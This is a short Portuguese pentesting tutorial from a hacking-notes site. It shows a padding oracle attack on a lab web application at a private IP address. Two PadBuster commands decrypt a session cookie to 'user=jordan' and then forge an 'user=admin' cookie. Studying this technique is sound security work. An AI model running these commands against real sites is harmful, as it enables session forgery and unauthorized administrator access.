> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/padding-oracle-attack/padding-oracle-techniques-pentesting-web.md).
# Técnicas de Padding Oracle
Vamos **criar um usuário** no site:
Aqui está o **cookie de sessão** que está fragmentado e que tentamos de **descriptografar**:
Com a ferramenta **PadBuster**, enviamos o link com o cookie de sessão e seu nome da seguinte forma:
```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard'
```
Ele retorna os valores do cookie em **texto claro**:
Se, em vez de definir **user=jordan**, nós o criptografamos como **user=admin**, isso nos dá o cookie de sessão de admin, se ele existir. Com **PadBuster**, reenviamos o comando, mas desta vez usamos **-plaintext** porque conhecemos o texto claro que queremos criptografar com o mesmo **oráculo**:
```perl
padbuster http://192.168.71.129/index.php dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard 8 -cookies 'auth=dnB6HxhkCrtGd3E7Y6%2B3nsBCbpp04ard' -plaintext 'user=admin'
```
Ele nos dá o cookie de sessão **admin**:
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